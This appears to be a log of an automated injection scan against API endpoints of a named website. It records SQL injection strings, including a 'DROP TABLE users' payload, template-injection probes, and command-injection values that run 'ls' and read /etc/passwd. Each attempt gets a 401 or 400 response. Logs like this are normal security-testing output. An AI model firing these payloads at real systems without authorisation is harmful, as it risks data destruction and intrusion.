=== PHASE 3: API ENDPOINT INJECTION === --- Test: sqli_agentlib (GET) --- URL: https://www.realwave.com/api/Academy/AgentLibrary?id=1'OR'1'='1 HTTP Code: 401 Response Headers: HTTP/2 401 server: Microsoft-IIS/10.0 x-powered-by: ASP.NET date: Sat, 07 Feb 2026 05:45:28 GMT Response Body (first 500 chars): ========================================= --- Test: sqli_lessons (GET) --- URL: https://www.realwave.com/api/Academy/Lessons?id=1;DROP+TABLE+users-- HTTP Code: 401 Response Headers: HTTP/2 401 server: Microsoft-IIS/10.0 x-powered-by: ASP.NET date: Sat, 07 Feb 2026 05:45:28 GMT Response Body (first 500 chars): ========================================= --- Test: sqli_customers (GET) --- URL: https://www.realwave.com/api/subscriptions/customers?email=test@test.com'+OR+'1'='1 HTTP Code: 401 Response Headers: HTTP/2 401 server: Microsoft-IIS/10.0 x-powered-by: ASP.NET date: Sat, 07 Feb 2026 05:45:29 GMT Response Body (first 500 chars): ========================================= --- Test: xss_user_path (GET) --- URL: https://www.realwave.com/api/user/ HTTP Code: 400 Response Headers: HTTP/2 400 content-type: text/html; charset=us-ascii server: Microsoft-HTTPAPI/2.0 date: Sat, 07 Feb 2026 05:45:29 GMT content-length: 324 Response Body (first 500 chars): Bad Request

Bad Request - Invalid URL

HTTP Error 400. The request URL is invalid.

========================================= --- Test: ssti_lessons_1 (GET) --- URL: https://www.realwave.com/api/Academy/Lessons?q=%7B%7B7*7%7D%7D HTTP Code: 401 Response Headers: HTTP/2 401 server: Microsoft-IIS/10.0 x-powered-by: ASP.NET date: Sat, 07 Feb 2026 05:45:30 GMT Response Body (first 500 chars): ========================================= --- Test: ssti_lessons_2 (GET) --- URL: https://www.realwave.com/api/Academy/Lessons?q=${7*7} HTTP Code: 401 Response Headers: HTTP/2 401 server: Microsoft-IIS/10.0 x-powered-by: ASP.NET date: Sat, 07 Feb 2026 05:45:30 GMT Response Body (first 500 chars): ========================================= --- Test: cmdi_file_1 (GET) --- URL: https://www.realwave.com/api/Academy/Lessons?file=;ls+-la HTTP Code: 401 Response Headers: HTTP/2 401 server: Microsoft-IIS/10.0 x-powered-by: ASP.NET date: Sat, 07 Feb 2026 05:45:32 GMT Response Body (first 500 chars): ========================================= --- Test: cmdi_file_2 (GET) --- URL: https://www.realwave.com/api/Academy/Lessons?file=|cat+/etc/passwd HTTP Code: 401 Response Headers: HTTP/2 401 server: Microsoft-IIS/10.0 x-powered-by: ASP.NET date: Sat, 07 Feb 2026 05:45:32 GMT Response Body (first 500 chars): ========================================= --- Test: xss_post_agentlib (POST) --- HTTP Code: 401 HTTP/2 401 server: Microsoft-IIS/10.0 x-powered-by: ASP.NET date: Sat, 07 Feb 2026 05:45:33 GMT Body: =========================================